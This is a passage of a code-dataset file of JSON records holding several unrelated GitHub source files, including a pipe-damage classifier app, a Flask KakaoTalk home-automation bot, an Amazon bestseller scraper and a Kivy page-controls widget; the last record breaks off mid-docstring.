+{"seq_id":"16097358854","text":"import io\nimport os\nimport math\nimport requests\n\nimport torch\nimport torch.nn as nn\nimport torchaudio\nimport logging\n\nfrom .multimodal_preprocessors import SimpleTokenizer\nfrom PIL import Image\nfrom pytorchvideo import transforms as pv_transforms\nfrom pytorchvideo.data.clip_sampling import ConstantClipsPerVideoSampler\nfrom pytorchvideo.data.encoded_video import EncodedVideo\n\nfrom torchvision import transforms\nfrom torchvision.transforms._transforms_video import NormalizeVideo\n\nDEFAULT_AUDIO_FRAME_SHIFT_MS = 10  # in milliseconds\n\nBPE_PATH = \"../CLIP/bpe_simple_vocab_16e6.txt.gz\"\n\n\ndef load_and_transform_vision_data(image_paths, device):\n    if image_paths is None:\n        return None\n\n    image_ouputs = []\n    for image_path in image_paths:\n        data_transform = transforms.Compose(\n            [\n                transforms.Resize(\n                    224, interpolation=transforms.InterpolationMode.BICUBIC\n                ),\n                transforms.CenterCrop(224),\n                transforms.ToTensor(),\n                transforms.Normalize(\n                    mean=(0.48145466, 0.4578275, 0.40821073),\n                    std=(0.26862954, 0.26130258, 0.27577711),\n                ),\n            ]\n        )\n        if os.path.exists(image_path):\n            with open(image_path, \"rb\") as fopen:\n                image = Image.open(fopen).convert(\"RGB\")\n        elif image_path.startswith(\"http\"):\n            image = Image.open(requests.get(image_path, stream=True).raw).convert(\"RGB\")\n        else:\n            raise ValueError(f\"Invalid image path: {image_path}\")\n\n        image = data_transform(image).to(device)\n        image_ouputs.append(image)\n    return torch.stack(image_ouputs, dim=0)\n\n\ndef transform_vision_data(images, device):\n    image_ouputs = []\n    for img in images:\n        data_transform = transforms.Compose(\n            [\n                transforms.Resize(\n                    224, interpolation=transforms.InterpolationMode.BICUBIC\n                ),\n                transforms.CenterCrop(224),\n                transforms.ToTensor(),\n                transforms.Normalize(\n                    mean=(0.48145466, 0.4578275, 0.40821073),\n                    std=(0.26862954, 0.26130258, 0.27577711),\n                ),\n            ]\n        )\n        image = data_transform(img).to(device)\n        image_ouputs.append(image)\n    return torch.stack(image_ouputs, dim=0)\n\n\ndef load_and_transform_text(text, device):\n    if text is None:\n        return None\n    tokenizer = SimpleTokenizer(bpe_path=BPE_PATH)\n    tokens = [tokenizer(t).unsqueeze(0).to(device) for t in text]\n    tokens = torch.cat(tokens, dim=0)\n    return tokens\n","repo_name":"OpenGVLab/LAMM","sub_path":"src/model/LAMM/utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"3"}
+{"seq_id":"2939161894","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 19 00:39:15 2022\n\n@author: Kang, Yong-sik\n\n관로를 점검한 파일 또는 동영상을 입력 받아 파손 유무 및 파손 유형을 판단\n동영상은 프레임을 계산하고 1초 단위로 이미지를 추출 후 이미지를 모델에 입력하여 \n파손 유형을 판단\n\"\"\"\n\nimport streamlit as st\nimport os\nimport cv2\nfrom PIL import Image\nimport math\nimport numpy as np\nimport tensorflow as tf\n\nfrom tensorflow import keras\n\ndef save_uploadedfile (uploaded_file) :\n    with open (os.path.join(temp_dir, uploaded_file.name), \"wb\") as f :\n        f.write (uploaded_file.getbuffer())\n    return st.success(\"Saved File:{} to Server\".format(uploaded_file.name))        \n\ndef extract_img_from_file (uploaded_file) :\n    file_path = temp_dir + uploaded_file.name\n    st.write (file_path)\n    video = cv2.VideoCapture(file_path)\n\n    if not video.isOpened() :\n        print ('Could not open :', file_path)\n        exit(0)\n    \n    length = int (video.get(cv2.CAP_PROP_FRAME_COUNT))\n    width = int (video.get(cv2.CAP_PROP_FRAME_WIDTH))\n    height = int (video.get(cv2.CAP_PROP_FRAME_HEIGHT))\n    fps = int(video.get(cv2.CAP_PROP_FPS)) \n\n    col1, col2, col3, col4 = st.columns(4)\n    col1.metric(\"Length\", length)\n    col2.metric(\"Width\", width)\n    col3.metric(\"Height\", height)\n    col4.metric(\"FPS\", fps)\n\n#    st.write ('length : ', length)\n#    st.write ('width : ', width)\n#    st.write ('height : ', height)\n#    st.write ('fps : ', fps)\n\n    try : \n        if not os.path.exists(file_path[:-4]) : \n            os.makedirs (file_path[:-4])\n    except OSError :\n                st.write ('Error : Creating directory. ' + file_path[:-4])\n    \n    count = 0\n\n    ret = True\n\n    while (video.isOpened() and ret == True) :\n        ret, image = video.read ()\n        \n        if (int(video.get(1)) % fps == 0) :\n            cv2.imwrite(file_path[:-4]+ '/frame%d.jpg' % count, image)\n#            st.write ('Saved frame number : ', str(int(video.get(1))))\n            count +=1\n#            st.write (ret) \n        \n    video.release()\n#    st.write ('video was released')\n    \n    return count\n\ndef pipe_check (img_path) :\n    \n    img = keras.preprocessing.image.load_img (img_path, target_size = (img_height, img_width))\n    img_array = keras.preprocessing.image.img_to_array (img)\n    img_array = tf.expand_dims(img_array,0)\n\n    predictions = reconstructed_model.predict (img_array)\n    score = tf.nn.softmax (predictions[0])\n\n#    print ('This image most likely belongs to {} with a {:.2f} percent confidence.'.format (class_name[np.argmax(score)], 100*np.max(score)))    \n#    msg = 'This image most likely belongs to {} with a {:.2f} percent confidence.'.format (class_name[np.argmax(score)], 100*np.max(score))\n    msg = '파손유형 : {} \\n예측 정확도 : {:.2f}'.format (class_name[np.argmax(score)], 100*np.max(score))\n    st.write ( 'ㅁ 파손유형 : {}'.format (class_name[np.argmax(score)]))\n    st.write ( 'ㅁ 예측 정확도 : {:.2f}'.format (100*np.max(score)))\n    \n    return msg\n\n\n# 메인 시작\n\nst.title (\"관로 파손 유형 점검\")\n# st.header (\"관로 파손 점검 웹\")\nst.write (\"관로 내부를 촬영한 이미지 또는 동영상을 입력 받아 파손 유형을 판단 합니다.\")\n\n\n# pipe_check 학습 모델 로드\n\n\nimg_height = 224\nimg_width = 224\nbatch_size = 32\n\ndata_dir = 'C:/Users/kwater/python/pipe_data/Training2'\ntemp_dir ='C:/Users/kwater/temp/'\n\nclass_name =  os.listdir (data_dir)\n\nreconstructed_model = keras.models.load_model ('pipe_class')\n\nselect = st.radio ('이미지 분석 또는 동영상 분석을 선택하세요', ('이미지', '동영상'))\n\nif select == '이미지' :\n    st.write ('이미지 분석을 선택하셨습니다.')\n    uploaded_file = st.file_uploader (\"이미지 파일을 선택해 주세요\", type = [\"jpg\", \"png\", \"gif\"])    \n    if uploaded_file is not None :\n        file_details = {\"FileName\": uploaded_file.name, \"File Type\" : uploaded_file.type }\n        st.write(file_details)    \n        save_uploadedfile(uploaded_file)\n        \n        col1, col2 = st.columns(2)\n        with col1 :\n#         st.write (temp_dir + uploaded_file.name)\n         img_path = temp_dir + uploaded_file.name\n         image = Image.open (img_path)\n         st.image (image)         \n         msg = pipe_check (img_path)\n#         st.write (msg)\n\n\n\nelse :\n    st.write ('동영상 분석을 선택하셨습니다.')\n    uploaded_file = st.file_uploader (\"동영상 파일을 선택해 주세요\", type = [\"mp4\", \"mpg\", \"wmv\", \"mov\"])        \n    if uploaded_file is not None :\n        file_details = {\"FileName\":uploaded_file.name, \"File Type\" : uploaded_file.type }\n        st.write(file_details)\n        save_uploadedfile(uploaded_file)    \n        count = extract_img_from_file (uploaded_file)\n\n        img_dir = temp_dir + uploaded_file.name[:-4] + '/'\n#        st.write (img_dir)\n        imgno = 0\n        \n       \n        for i in range (0, math.ceil(count/4)) :\n\n            col1, col2, col3, col4 = st.columns(4)\n            with col1 :\n                img_name = 'frame' + str(imgno) + '.jpg'\n                img_path = img_dir + 'frame' + str(imgno) + '.jpg'\n                st.write (img_name)\n                image = Image.open (img_path)\n                st.image (image)            \n                msg = pipe_check (img_path)\n#                st.write (msg)                \n               \n                imgno += 1\n                if imgno == count :\n                    break\n\n            with col2 :\n                img_name = 'frame' + str(imgno) + '.jpg'\n                img_path = img_dir + 'frame' + str(imgno) + '.jpg'\n                st.write (img_name)\n                image = Image.open (img_path)\n                st.image (image)            \n                msg = pipe_check (img_path)\n #               st.write (msg)                \n\n                imgno += 1                \n                if imgno == count :\n                    break\n                \n                \n            with col3 :\n                img_name = 'frame' + str(imgno) + '.jpg'\n                img_path = img_dir + 'frame' + str(imgno) + '.jpg'\n                st.write (img_name)                \n                image = Image.open (img_path)\n                st.image (image)            \n                msg = pipe_check (img_path)\n#                st.write (msg)                \n\n                imgno += 1\n                if imgno == count :\n                    break\n\n            with col4 :\n                img_name = 'frame' + str(imgno) + '.jpg'\n                img_path = img_dir + 'frame' + str(imgno) + '.jpg'\n                st.write (img_name)                \n                image = Image.open (img_path)\n                st.image (image)            \n                msg = pipe_check (img_path)\n#                st.write (msg)                \n\n                imgno += 1\n                if imgno == count :\n                    break\n        \n","repo_name":"nicekang91/pipe_check","sub_path":"st_pipecheck.py","file_name":"st_pipecheck.py","file_ext":"py","file_size_in_byte":6990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37113163916","text":"# -*- coding: utf-8 -*-\n\n# [START app]\nimport logging\n\n# [START imports]\nfrom flask import Flask, render_template, request\nfrom flask import url_for, send_from_directory, jsonify\nimport requests\n\nfrom requests.exceptions import ConnectionError, RequestException, Timeout\n# [END imports]\n\n# [START create_app]\napp = Flask(__name__)\n# [END create_app]\n\n# [Device number]\nLED = 0\nWIND = 1\nFEED = 2\n\n# [Arduino status variables]\nLED_STATE = False  # led on/off\nWIND_STATE = False # wind on/off\n\n# [SensorData]\nTEMP = 0  # 온도\nHUMD = 0  # 습도\n\nrequests.adapters.DEFAULT_RETRIES = 30\n\n\n# [KaKao Plus Friends]\n@app.route('/keyboard')\ndef keyboard():\n    key_list = [\"LED\", \"LED STATUS\", \"TEMP\", \"WIND\", \"HUMD\", \"FEED\"]\n    keyboard = {\"type\": \"buttons\", \"buttons\": key_list}\n\n    resp = jsonify(keyboard)\n    resp.headers['Content-type'] = \"application/json; charset=utf-8\"\n    return resp\n\n\n@app.route('/message', methods=['POST'])\ndef get_message():\n    # Load arduino state variables\n    global LED_STATE\n    global WIND_STATE\n    global FEED_STATE\n\n    key_list = [\"LED\", \"LED STATUS\", \"TEMP\", \"WIND\", \"HUMD\", \"FEED\"]\n    keyboard = {\"type\": \"buttons\", \"buttons\": key_list}\n\n    # Get data from kakao\n    content = request.get_json()\n    text = content['content']\n\n    try:\n        if text == \"LED\":\n            LED_STATE = not LED_STATE\n            payload = {\"sensor\": LED}\n            r = requests.get(\"http://211.107.138.41:81\", params=payload, timeout=5)\n            if LED_STATE:\n                MESSAGE = \"Now LED ON\"\n            else:\n                MESSAGE = \"Now LED OFF\"\n\n        elif text == \"LED STATUS\":\n            if LED_STATE:\n                MESSAGE = \"LED STATE is ON\"\n            else:\n                MESSAGE = \"LED STATE is OFF\"\n\n        elif text == \"TEMP\":\n            MESSAGE = \"temperature is %.2f °C\" % TEMP\n\n        elif text == \"HUMD\":\n            MESSAGE = \"Humidity is %.2f \" % HUMD\n\n        elif text == \"WIND\":\n            WIND_STATE = not WIND_STATE\n            payload = {\"sensor\": WIND}\n            r = requests.get(\"http://211.107.138.41:81\", params=payload, timeout=5)\n            if WIND_STATE:\n                MESSAGE = \"Now, Wind sys turn on\"\n            else:\n                MESSAGE = \"Now, Wind sys turn off\"\n\n        elif text == \"FEED\":\n            payload = {\"sensor\": FEED}\n            r = requests.get(\"http://211.107.138.41:81\", params=payload, timeout=5)\n            MESSAGE = \"Now, FEED !!\"\n\n        else:\n            MESSAGE = \"WTF\"\n\n    except ConnectionError as e:\n        MESSAGE = \"Please wait a moment and try again.\"\n\n    except Timeout as e:\n        MESSAGE = \"Please wait a moment and try again(timeout)\"\n\n    finally:\n        text_content = {\"text\": MESSAGE}\n        message = {\"message\": text_content, \"keyboard\": keyboard}\n        return jsonify(message)\n\n\n@app.route('/sensor')\ndef led_handler():\n    global TEMP\n    global HUMD\n\n    if request.args.get('temp', '') is not '':\n        TEMP = float(request.args.get('temp'))\n\n    if request.args.get('humd', '') is not '':\n        HUMD = float(request.args.get('humd'))\n\n    return \"DONE\"\n\n\n@app.errorhandler(500)\ndef server_error(e):\n    # Log the error and stacktrace.\n    logging.exception('An error occurred during a request.')\n    return 'An internal error occurred.', 500\n# [END app]\n","repo_name":"jihobak/HEXA_SmartHome_System","sub_path":"Cloud/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20235633172","text":"from ete3 import Tree, TreeStyle, TextFace, add_face_to_node,NodeStyle\nimport six\nfrom itertools import combinations, permutations, product\nfrom collections import namedtuple,OrderedDict\nimport numpy as np\nimport time\nimport os,sys\n\nimport numpy as np\n\n\n        \n\n\ndef main(argv):\n    start=time.time()\n    style1 = NodeStyle()\n    style1[\"fgcolor\"] = \"#0f0f0f\"\n    style1[\"size\"] = 0\n    #style1[\"vt_line_color\"] = \"#ff0000\"\n    style1[\"hz_line_color\"] = \"#ff0000\"\n    #style1[\"vt_line_width\"] = 2\n    style1[\"hz_line_width\"] = 2\n    #style1[\"vt_line_type\"] = 2 # 0 solid, 1 dashed, 2 dotted\n    #style1[\"hz_line_type\"] = 2\n    \n    style2 = NodeStyle()\n    style2[\"fgcolor\"] = \"#0f0f0f\"\n    style2[\"size\"] = 0\n    style2[\"vt_line_color\"] = \"#ff0000\"\n    #style2[\"hz_line_color\"] = \"#ff0000\"\n    style2[\"vt_line_width\"] = 2\n    #style2[\"hz_line_width\"] = 2\n    style2[\"vt_line_type\"] = 2 # 0 solid, 1 dashed, 2 dotted\n    #style2[\"hz_line_type\"] = 2\n    \n    tree1 = Tree(str(argv[1]))\n    save=int(argv[3])\n    leafs=argv[2]\n    leafs=leafs.replace(\"(\",\"\")\n    leafs=leafs.replace(\")\",\"\")\n    leafs=leafs.replace(\"'\",\"\")\n    leafs=leafs.replace(\" \",\"\")\n    q=leafs.split(',')\n    \n    #tree2 = _Tree(str(arg2))\n   \n    se=tree1.get_common_ancestor(q)\n    \n\n    \n    for n in q:\n        print(n)\n        node = tree1&n\n        while(node.up!=se):\n            node.img_style = style1\n            node=node.up\n    #n.img_style = style2\n   \n        node.img_style = style1\n    ts = TreeStyle()\n    ts.show_leaf_name = True\n   \n    \n \n    \n   \n    if(save==1):\n        if os.path.exists(\"crud/static/crud/Tree1.png\"):\n             os.remove(\"crud/static/crud/Tree1.png\")\n        tree1.render(\"crud/static/crud/Tree1.png\", tree_style=ts)\n    else:\n        if os.path.exists(\"crud/static/crud/Tree2.png\"):\n             os.remove(\"crud/static/crud/Tree2.png\")\n        tree1.render(\"crud/static/crud/Tree2.png\", tree_style=ts)\n    \n    return True\n\n     \n\nif __name__ == '__main__':\n    main(sys.argv)","repo_name":"frejakell/Tree-Compare-app","sub_path":"Experiment code/Quar_colour.py","file_name":"Quar_colour.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43179275390","text":"def d1234(n):\n    d4 = n % 10\n    d3 = n // 10 % 10\n    d2 = n // 100 % 10\n    d1 = n // 1000\n    return d1, d2, d3, d4\n\n\ndef D(n, al):\n    if n * 2 >= 10000:\n        if n*2/2 not in total:\n            stack.append(n * 2 / 2)\n            total.add(n * 2 / 2)\n            stack_al.append((al+'D'))\n        return\n    else:\n        if n*2 not in total:\n            stack.append(n*2)\n            total.add(n*2)\n            stack_al.append((al+'D'))\n        return\n\n\ndef S(n, al):\n    if n - 1 >= 0:\n        if n-1 not in total:\n            stack.append(n-1)\n            total.add(n-1)\n            stack_al.append(al+'S')\n        return\n    else:\n        if 9999 not in total:\n            stack.append(9999)\n            total.add(9999)\n            stack_al.append(al+'S')\n        return\n\n\ndef L(n, al):\n    d1, d2, d3, d4 = d1234(n)\n    n_n = d2 * 1000 + d3 * 100 + d4 * 10 + d1\n    if n_n not in total:\n        stack.append(n_n)\n        total.add(n_n)\n        stack_al.append(al + 'L')\n    return\n\n\ndef R(n, al):\n    d1, d2, d3, d4 = d1234(n)\n    n_n = d4 * 1000 + d1 * 100 + d2 * 10 + d3\n    if n_n not in total:\n        stack.append(n_n)\n        total.add(n_n)\n        stack_al.append(al + 'R')\n    return\n\n\nT = int(input())\n\nfor TC in range(1, T + 1):\n    A, B = map(int, input().split())\n    stack = []\n    stack_al = ['']\n    total = set()\n    stack.append(A)\n    total.add(A)\n    result_al = ''\n    idx = -1\n    \n    while stack:\n        s_l = len(stack)\n        \n        for _ in range(s_l):\n            test_num = stack.pop(0)\n            test_al = stack_al.pop(0)\n            D(test_num, test_al)\n            S(test_num, test_al)\n            L(test_num, test_al)\n            R(test_num, test_al)\n            if B in stack:\n                idx = stack.index(B)\n                result_al = stack_al[idx]\n                stack = []\n                break\n\n    print(result_al)\n","repo_name":"sondongmin0419/study","sub_path":"python/b_9019 DSLR.py","file_name":"b_9019 DSLR.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17720098573","text":"import argparse\nfrom utils import *\n\nif __name__ == '__main__':\n    \n    parser = argparse.ArgumentParser(description='Playing options')\n    \n    parser.add_argument('--scenario', type=str, default='basic', metavar='S', help=\"scenario to use, either basic or deadly_corridor\")\n    parser.add_argument('--window', type=int, default=0, metavar='WIN', help=\"0: don't render screen | 1: render screen\")\n    parser.add_argument('--weights', type=str, metavar='S', help=\"Path to the weights we want to load\")\n    parser.add_argument('--total_episodes', type=int, default=500, metavar='EPOCHS', help=\"Number of training episodes\")\n    parser.add_argument('--enhance', type=str, default='none', metavar='ENH', help=\"values : 'none', 'dueling'\")\n    parser.add_argument('--frame_skip', type=int, default=4, metavar='FS', help=\"the number of frames to repeat the action on\")\n    parser.add_argument('--stack_size', type=int, default=4, metavar='FS', help=\"the number of frames to repeat the action on\")\n    \n    args = parser.parse_args()\n    \n    test_environment(weights = args.weights, scenario = args.scenario, window = args.window, total_episodes = args.total_episodes, enhance = args.enhance, frame_skip = args.frame_skip, \n                    stack_size = args.stack_size)\n    \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"boubnanm/Deep-Reinforcement-Learning-applied-to-DOOM","sub_path":"Deep Q Learning/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"3"}
+{"seq_id":"29385681694","text":"from selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium import webdriver\nimport math\n\ndriver = webdriver.Chrome()\ndriver.get(\"http://suninjuly.github.io/explicit_wait2.html\")\n\nbutton = WebDriverWait(driver, 12).until(\n        EC.text_to_be_present_in_element((By.ID, \"price\"),\"$100\")\n    )\nbook = driver.find_element(By.CSS_SELECTOR, \"#book\")\nbook.click()\nx = driver.find_element(By.ID, \"input_value\").text\ny = str(math.log(abs(12*math.sin(int(x)))))\nans = driver.find_element(By.ID, \"answer\")\nans.send_keys(y)\nsub = driver.find_element(By.CSS_SELECTOR, \"#solve\")\nsub.click()","repo_name":"Egor4eck/stepik_auto_tests_course","sub_path":"Lesson6.py","file_name":"Lesson6.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40987035769","text":"from bs4 import BeautifulSoup\r\nfrom addBookDemo import addBook\r\nfrom addBookDemo import addBookClass\r\nimport requests\r\nimport time\r\nimport sys\r\nimport os\r\n\r\n\r\nimport datetime\r\nimport MySQLdb\r\n\r\nclass specificBookResultsClass:\r\n    bookASIN = \"\"\r\n    bookPrice = \"\"\r\n    bookRank = \"\"\r\n    bookReviewScore = \"\"\r\n    bookNumOfReviews = \"\"\r\n    bookDateOfScan = \"\"\r\n    bookTimeOfScan = \"\"\r\n\r\n\r\ndef specificBookTop100Scrape(input):\r\n    #need to first check whether ASIN or URL input\r\n    # if type = 1, then an ASIN has been passed in\r\n    asin = \"\"\r\n    asin = input\r\n    #and then check the ASIN against the database to check that it the book already exists\r\n    db = MySQLdb.connect(host='localhost', user='root', passwd='password', db='webscrape3')\r\n    c = db.cursor()\r\n    # set to utf8 for foreign names and whatnot\r\n    db.set_character_set('utf8')\r\n    c.execute('SET NAMES utf8;')\r\n    c.execute('SET CHARACTER SET utf8;')\r\n    c.execute('SET character_set_connection=utf8;')\r\n    c.execute(\"\"\"SELECT BOOKID FROM books WHERE ASIN = %s \"\"\",(asin,))\r\n    #check if something is retrieved\r\n    row_count = c.rowcount\r\n    db.close()\r\n    if row_count == 0:\r\n        # if it doesn't exist then we can use the addBook() subroutine to add it\r\n        print(\"Book not found in database. Attempting to add...\")\r\n        #check if the url is valid, removed for purposes of demonstration\r\n        checkURL = 'https://www.amazon.co.uk/dp/' + asin\r\n        response = requests.get(checkURL, headers={'User-agent': 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36'})\r\n        soup = BeautifulSoup(response.content, 'html.parser')\r\n        #need to sleep for 1 if the webpage was correct\r\n        #the not found page on amazon currently has a td with class name sans, check if this exists, otherwise continue\r\n        checkFail = soup.find(\"td\",{\"class\":\"sans\"})\r\n        #checkFail will now be None if the webpage was incorrect\r\n        if (checkFail == None):\r\n            # success, so need to sleep before we carry on and get another webpage\r\n            time.sleep(1)\r\n        else:\r\n            # failure, cancel the scrape\r\n            print(\"Not a valid URL or ASIN\")\r\n            return\r\n        #asin will be validated on the form\r\n        #maybe put this in a try, something like that author problem may come up again\r\n        #os.system(\"python C:/Users/Dave/PycharmProjects/test/addBookDemo.py\")\r\n        addBook(asin)\r\n        print(\"Book successfully added to database\")\r\n\r\n\r\n    #now we can do the top 100 scrape.\r\n    #first need to find the ASIN in the top 100, so look for it in the 5 pages that make up the top 100\r\n    #can probably put this in a loop, replacing the number with string manipulation\r\n    found = None\r\n    location = 0\r\n    locationOnPage = 0\r\n    for x in range(1, 6):\r\n        print(\"checking page \"+ str(x))\r\n        currentURL = \"C:\\demonstration\\page\" + str(x) + \".html\"\r\n        #currentURL = 'https://www.amazon.co.uk/Best-Sellers-Kindle-Store/zgbs/digital-text/ref=zg_bs_pg_' + str(x) + '?_encoding=UTF8&pg=' + str(x)\r\n        #response = requests.get(currentURL, headers={'User-agent': 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36'})\r\n        soup = BeautifulSoup(open(currentURL), 'html.parser')\r\n        time.sleep(1)\r\n        # set the results of the scan to soup\r\n        #soup = BeautifulSoup(response.content, 'html.parser')\r\n        #attempt to find the ASIN in the top 100\r\n        currentItems = soup.findAll('div', {'class': 'a-section a-spacing-none p13n-asin'})\r\n        loopCount = 0\r\n        for i in currentItems:\r\n            if loopCount < 20:\r\n                #loopCount is used to go through the 20 books on each page\r\n                currentText = str(i)\r\n                index = int(currentText.find(\"asin\\\":\\\"\"))\r\n                newASIN = currentText[index + 7:index + 17]\r\n                if newASIN == asin:\r\n                    #asin has been found, we can now scrape a result\r\n                    found = 1\r\n                    location = loopCount + 1\r\n                    locationOnPage = loopCount\r\n                    break\r\n                else:\r\n                    loopCount = loopCount + 1\r\n        #exit for loop if found\r\n        if (found):\r\n            break\r\n    if (found):\r\n        #found is set, the book was found\r\n        print(\"Book found at position \" + str(((x-1)*20)+location))\r\n        print(\"Book found in top 100, creating result...\")\r\n        specificBook = specificBookResultsClass()\r\n\r\n        #we also already have soup set to the correct page\r\n        #set the book rank\r\n        specificBook.bookRank = location\r\n        #set the book asin\r\n        specificBook.bookASIN = asin\r\n        #set the date/time\r\n        currentDateTime = datetime.datetime.now()\r\n        specificBook.bookDateOfScan = currentDateTime.strftime(\"%Y-%m-%d\")\r\n        specificBook.bookTimeOfScan = currentDateTime.strftime(\"%H-%M-%S\")\r\n        specificBook.bookTimeOfScan = specificBook.bookTimeOfScan.replace(\"-\", \":\")\r\n        #reduce location by 1, we increased it before to make it the rank of the book\r\n        location = location - 1\r\n\r\n        #review score and number of reviews\r\n        #code is better commented in the doScrape subroutine\r\n        currentItems = soup.findAll('div', {'class': 'zg_itemImmersion'})\r\n        listOfSkips = []\r\n        x = 0\r\n        #create a list of indexes where there are no review scores\r\n        for i in currentItems:\r\n            test = i.find('div', {'class': 'a-icon-row a-spacing-none'})\r\n            if test == None:\r\n                listOfSkips.append(x)\r\n            x += 1\r\n        #now find the span containing the review scores\r\n        currentItems = soup.findAll('span', {'class': 'a-icon-alt'})\r\n        #check if the current location is in the list, and therefore has no reviews\r\n        if not locationOnPage in listOfSkips:\r\n            currentValue = currentItems[locationOnPage]\r\n            currentValue = currentValue.string\r\n            currentValue = currentValue.strip()\r\n            # we have a result in the format '3.9 out of 5 stars' when we need a decimal '3.9' to insert into the database\r\n            currentValue = float(currentValue[:3])\r\n            specificBook.bookReviewScore = currentValue\r\n\r\n        # now the number of reviews\r\n        currentItems = soup.findAll('a', {'class': 'a-size-small a-link-normal'})\r\n        if not locationOnPage in listOfSkips:\r\n            #has review scores\r\n            currentValue = currentItems[locationOnPage]\r\n            currentValue = currentValue.string\r\n            currentValue = currentValue.strip()\r\n            # currentValue could contain a comma if there are 1000 results or more- get rid of it\r\n            currentValue = currentValue.replace(',', '')\r\n            specificBook.bookNumOfReviews = currentValue\r\n        #find and set the price of the book\r\n        currentItems = soup.findAll('span', {'class': 'p13n-sc-price'})\r\n        currentString = currentItems[location].string\r\n        currentString = currentString.strip()\r\n        # bookPrice is now in the format 'A£1.23'\r\n        # bookPrice is actually a decimal value, so we need to get rid of the pound sign\r\n        currentString = float(currentString[2:])\r\n        specificBook.bookPrice = currentString\r\n        #connect to the database\r\n        db = MySQLdb.connect(host='localhost', user='root', passwd='password', db='webscrape3')\r\n        c = db.cursor()\r\n        # set to utf8 for foreign names and whatnot\r\n        db.set_character_set('utf8')\r\n        c.execute('SET NAMES utf8;')\r\n        c.execute('SET CHARACTER SET utf8;')\r\n        c.execute('SET character_set_connection=utf8;')\r\n        # note that ignore has been used again here to ignore when there is no NumOfReviews or ReviewScore\r\n        # change this to some better error handling later\r\n        query = \"\"\"INSERT IGNORE INTO results (BookASIN, Rank, ReviewScore, NumOfReviews, BookPrice, DateOfScan, TimeOfScan) VALUES (%s,%s,%s,%s,%s,%s,%s)\"\"\"\r\n        c.execute(query, (\r\n            specificBook.bookASIN, specificBook.bookRank, specificBook.bookReviewScore,\r\n            specificBook.bookNumOfReviews, specificBook.bookPrice, specificBook.bookDateOfScan,\r\n            specificBook.bookTimeOfScan))\r\n        db.commit()\r\n        # close the database\r\n        db.close()\r\n        print(\"Result Created.\")\r\n    else:\r\n        print(\"Book was not found in the top 100.\")\r\n\r\n#takes an ASIN as input\r\n#specificBookTop100Scrape(\"B0080GQYHE\")\r\nspecificBookTop100Scrape(sys.argv[1])","repo_name":"david-owens-24/examples","sub_path":"py files/specificBookScrapeDemo.py","file_name":"specificBookScrapeDemo.py","file_ext":"py","file_size_in_byte":8650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17737634688","text":"\"\"\"\nPages allow for a separation of different features\n\"\"\"\n\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.screenmanager import ScreenManager, NoTransition\nfrom kivy.uix.behaviors import ButtonBehavior\nfrom kivy.properties import BooleanProperty, ColorProperty\nfrom kivy.lang.builder import Builder\n\n__all__ = [\n    'CupertinoPageControls',\n    'CupertinoScreenManager'\n]\n\nBuilder.load_string(\"\"\"\n<_CupertinoScreen>:\n    on_press: self.parent._change_screen(self.parent.children[::-1].index(self))\n    \n    canvas.before:\n        Color:\n            rgba: self.color_selected if self.selected else self.color_unselected\n        Ellipse:\n            size: dp(self.height), dp(self.height)\n            pos: self.x+self.width/2-self.height/2, self.y\n\n<CupertinoPageControls>:\n    padding: self.height/3\n    spacing: self.height/3\n    \n    canvas.before:\n        Color:\n            rgba: self.background_color\n        Rectangle:\n            size: self.size\n            pos: self.pos\n\"\"\")\n\n\nclass _CupertinoScreen(ButtonBehavior, Widget):\n    \"\"\"\n    Dot to be added to :class:`CupertinoPageControls` indicating\n    a screen on :class:`CupertinoScreenManager`\n    \"\"\"\n\n    selected = BooleanProperty(False)\n    \"\"\"\n    If the screen represented by :class:`_CupertinoScreen` is currently selected\n    \"\"\"\n\n    color_selected = ColorProperty()\n    \"\"\"\n    Color of :class:`_CupertinoScreen` when selected\n    \"\"\"\n\n    color_unselected = ColorProperty()\n    \"\"\"\n    Color of :class:`_CupertinoScreen` when not selected\n    \"\"\"\n\n\nclass CupertinoPageControls(BoxLayout):\n    \"\"\"\n    iOS style Page Controls. Will automatically update the number of pages and current page\n    when added to an instance of :class:`CupertinoScreenManager`\n    \n    .. image:: ../_static/page_controls/demo.gif\n    \"\"\"\n\n    tap = BooleanProperty(False)\n    \"\"\"\n    If tapping :class:`CupertinoPageControls` will switch to a screen\n    \n    .. image:: ../_static/page_controls/tap.gif\n    \n    **Python**\n    \n    .. code-block:: python\n    \n       CupertinoPageControls(tap=True)\n    \n    **KV**\n    \n    .. code-block::\n    \n       CupertinoPageControls:\n           tap: True\n    \"\"\"\n\n    background_color = ColorProperty([0, 0, 0, 0])\n    \"\"\"\n    Background color of :class:`CupertinoPageControls`\n    \n    .. image:: ../_static/page_controls/background_color.png\n    \n    **Python**\n    \n    .. code-block:: python\n    \n       CupertinoPageControls(background_color=(1, 0, 0, 1))\n    \n    **KV**\n    \n    .. 